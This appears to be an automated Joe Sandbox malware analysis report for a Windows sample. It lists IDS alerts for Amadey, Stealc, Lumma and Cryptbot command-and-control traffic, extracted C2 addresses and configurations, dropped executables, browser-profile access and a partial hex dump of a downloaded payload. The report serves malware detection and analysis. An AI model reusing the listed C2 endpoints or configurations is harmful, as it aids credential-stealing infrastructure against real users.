2024-11-24T10:24:23.188743+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49839	185.215.113.43	80	TCP
2024-11-24T10:24:37.646627+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49873	185.215.113.43	80	TCP
2024-11-24T10:24:46.205046+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49896	185.215.113.43	80	TCP
2024-11-24T10:24:54.286992+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49917	185.215.113.43	80	TCP
2024-11-24T10:25:05.677730+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49975	185.215.113.43	80	TCP
2024-11-24T10:29:20.252773+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50312	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:49.914092+0100	2054350	1	A Network Trojan was detected	192.168.2.5	49904	34.116.198.130	80	TCP
2024-11-24T10:24:51.931010+0100	2054350	1	A Network Trojan was detected	192.168.2.5	49915	34.116.198.130	80	TCP
2024-11-24T10:25:24.046942+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50086	34.116.198.130	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:48.717598+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49898	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:48.595477+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49898	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:49.036959+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49898	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:51.259344+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49898	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:49.166681+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49898	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:25:06.927386+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49978	104.21.33.116	443	TCP
2024-11-24T10:25:42.714671+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50156	104.21.33.116	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:48.152403+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49898	185.215.113.206	80	TCP
2024-11-24T10:25:47.498752+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50163	185.215.113.206	80	TCP
2024-11-24T10:25:59.627712+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50177	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:07.122605+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49801	185.215.113.43	80	TCP
2024-11-24T10:29:11.814957+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50305	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:21.757258+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49807	TCP
2024-11-24T10:29:18.818454+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	50306	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:11.893518+0100	2803305	3	Unknown Traffic	192.168.2.5	49813	31.41.244.11	80	TCP
2024-11-24T10:24:24.785947+0100	2803305	3	Unknown Traffic	192.168.2.5	49845	185.215.113.16	80	TCP
2024-11-24T10:24:39.167202+0100	2803305	3	Unknown Traffic	192.168.2.5	49879	185.215.113.16	80	TCP
2024-11-24T10:24:47.729776+0100	2803305	3	Unknown Traffic	192.168.2.5	49897	185.215.113.16	80	TCP
2024-11-24T10:24:55.837070+0100	2803305	3	Unknown Traffic	192.168.2.5	49924	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:52.051125+0100	2803304	3	Unknown Traffic	192.168.2.5	49898	185.215.113.206	80	TCP
2024-11-24T10:25:17.426839+0100	2803304	3	Unknown Traffic	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:19.755209+0100	2803304	3	Unknown Traffic	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:20.988541+0100	2803304	3	Unknown Traffic	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:22.357313+0100	2803304	3	Unknown Traffic	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:26.146124+0100	2803304	3	Unknown Traffic	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:27.989261+0100	2803304	3	Unknown Traffic	192.168.2.5	50023	185.215.113.206	80	TCP
2024-11-24T10:25:35.632480+0100	2803304	3	Unknown Traffic	192.168.2.5	50144	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:25:22.976076+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50085	104.21.33.116	443	TCP
2024-11-24T10:25:45.535039+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50160	104.21.33.116	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php25	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpr1	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php1001	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.2107998827.0000000000441000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 194fcc03d1.exe.3172.9.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}
Source: c9ac8940e6.exe.1896.10.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Code function: 9_2_6D2A6C80 CryptQueryObject,CryptMsgGetParam,memset,CryptMsgGetParam,CertFindCertificateInStore,CertGetNameStringW,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,memset,memset,CryptQueryObject,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,memset,GetLastError,memset,CryptBinaryToStringW,_wcsupr_s,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

9_2_6D2A6C80

Source: f398072083.exe, 00000007.00000003.2794767687.0000000007312000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_2c7aa681-c

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.5:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.5:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.5:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.5:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50164 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50211 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50218 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.5:50231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.5:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.91:443 -> 192.168.2.5:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.24:443 -> 192.168.2.5:50278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50307 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50308 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.20:443 -> 192.168.2.5:50322 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 194fcc03d1.exe, 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: nss3.pdb@ source: 194fcc03d1.exe, 00000009.00000002.3671775894.000000006D4CF000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: nss3.pdb source: 194fcc03d1.exe, 00000009.00000002.3671775894.000000006D4CF000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: c9ac8940e6.exe, 0000000A.00000003.3684788452.0000000008580000.00000004.00001000.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3802826325.00000000060C2000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: 194fcc03d1.exe, 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmp

Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\doomed\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 193MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49801 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49807
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49839 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49873 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49896 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49898 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49898 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49898
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49898 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49898
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49904 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49915 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49898 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49917 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49975 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50086 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50163 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50177 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50305 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50312 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50306
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49978 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49872 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49872 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49916 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49916 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49923 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49923 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50120 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50120 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50129 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50085 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50156 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50160 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50138 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50138 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50164 -> 104.21.33.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://property-imper.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 09:24:11 GMTContent-Type: application/octet-streamContent-Length: 4349440Last-Modified: Sun, 24 Nov 2024 07:34:48 GMTConnection: keep-aliveETag: "6742d718-425e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 20 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 c3 00 00 04 00 00 1a ac 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0b c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 0b c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 70 73 61 7a 78 6d 64 00 b0 1a 00 00 60 a8 00 00 ac 1a 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6e 67 6f 6e 6e 70 78 00 10 00 00 00 10 c3 00 00 04 00 00 00 38 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 c3 00 00 22 00 00 00 3c 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 